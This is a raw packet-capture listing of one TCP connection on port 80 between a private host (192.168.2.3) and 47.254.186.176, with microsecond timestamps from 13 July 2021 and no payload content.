Jul 13, 2021 14:37:13.091355085 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.091373920 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.091376066 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.091398001 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.091415882 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.091816902 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.091861963 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.092005014 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.092025042 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.092046976 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.092070103 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.092087030 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.092124939 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.092159033 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.092174053 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.092192888 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.092210054 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.092216015 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.092251062 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.092971087 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.092992067 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.093027115 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.093031883 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.093055964 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.093076944 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.093090057 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.093091965 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.093128920 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.093199015 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.093220949 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.093234062 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.093255043 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.094016075 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.094080925 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.094103098 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.094118118 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.094157934 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.094175100 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.094194889 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.094213009 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.094224930 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.094242096 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.094271898 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.094918966 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.094935894 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.094953060 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.094988108 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.095026016 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.095046997 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.095058918 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.095065117 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.095107079 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.095109940 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.095916033 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.095972061 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.095977068 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.096040964 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.096055984 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.096084118 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.096121073 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.096141100 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.096153021 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.096157074 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.096201897 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.096961975 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.097047091 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.097070932 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.097089052 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.097090006 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.097112894 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.097130060 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.097134113 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.097150087 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.097167969 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.097599030 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.097645044 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.097652912 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.097670078 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.097704887 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.097759962 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.097824097 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.097840071 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.097862959 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.097970009 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.098007917 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.098659039 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.098685026 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.098700047 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.098718882 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.098731041 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.098741055 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.098748922 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.098758936 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.098787069 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.098893881 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.099687099 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.099729061 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.099745989 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.099750996 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.099770069 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.099791050 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.099811077 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.099824905 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.099878073 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.100810051 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.100841999 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.100920916 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.100954056 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.100995064 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.101028919 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.101043940 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.101051092 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.101078987 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.101119041 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.101223946 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.101241112 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.101387024 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.101519108 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.101535082 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.101563931 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.101567030 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.101588964 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.101592064 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.101643085 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.101658106 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.101676941 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.101697922 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.101723909 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.102579117 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.102600098 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.102621078 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.102647066 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.102799892 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.102824926 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.102838039 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.102838993 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.102858067 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.102870941 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.102895021 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.102925062 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.103562117 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.103585005 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.103602886 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.103615999 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.103634119 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.103635073 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.103655100 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.103769064 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.103780985 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.103806019 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.104790926 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.104815006 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.104834080 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.104847908 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.104847908 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.104866982 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.104871988 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.104888916 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.104902029 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.104907990 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.104938984 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.105573893 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.105593920 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.105612993 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.105634928 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.105637074 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.105673075 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.105674982 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.105689049 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.105719090 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.105748892 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.105765104 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.105803967 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.106353998 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.106381893 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.106403112 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.106416941 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.106420040 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.106450081 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.106682062 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.106734991 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.106750011 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.106774092 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.107503891 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.107548952 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.107553959 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.107564926 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.107585907 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.107599974 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.107609987 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.107624054 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.107631922 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.107645988 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.107659101 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.107678890 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.108164072 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.108184099 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.108221054 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.108268023 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.108289003 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.108304024 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.108325958 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.108357906 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.108397961 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.108433962 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.108450890 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.108464956 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.109378099 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.109400034 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.109421968 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.109441996 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.109442949 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.109472036 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.109477043 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.109492064 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.109518051 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.109560013 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.109615088 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.109628916 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.109630108 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.109662056 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.110192060 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.110224009 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.110244036 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.110258102 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.110260010 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.110277891 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.110290051 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.110560894 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.110579014 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.110618114 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.111193895 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.111213923 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.111232996 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.111253977 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.111274004 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.111274004 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.111289978 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.111311913 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.111366034 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.111402035 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.112111092 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.112199068 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.112222910 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.112236977 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.112256050 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.112271070 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.112294912 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.112349987 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.112369061 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.112385035 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.112423897 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.113019943 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.113082886 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.113116026 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.113168955 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.113188982 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.113202095 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.113204956 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.113236904 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.113240004 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.113259077 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.113272905 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.113290071 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.114046097 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.114064932 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.114124060 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.114217997 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.114240885 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.114254951 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.114260912 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.114280939 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.114346981 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.114368916 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.114382982 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.114407063 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.114826918 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.114869118 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.114887953 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.114940882 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.114964962 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.114975929 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.115052938 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.115091085 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.115689039 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.115712881 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.115737915 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.115761995 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.115854025 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.115892887 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.115915060 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.115937948 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.115957022 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.115971088 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.115979910 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.116013050 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.116167068 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.116180897 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.116214991 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.116903067 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.116935968 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.116952896 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.116974115 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.116982937 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.117001057 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.117016077 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.117023945 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.117038965 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.117063046 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.117326021 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.117737055 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.117764950 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.117788076 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.117820024 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.117835999 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.117856026 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.117856026 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.117893934 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.118055105 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.118079901 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.118093967 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.118146896 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.118716002 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.118736982 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.118757963 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.118762016 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.118778944 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.118793964 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.118809938 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.118828058 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.118843079 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.118853092 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.118854046 CEST	80	49710	47.254.186.176	192.168.2.3
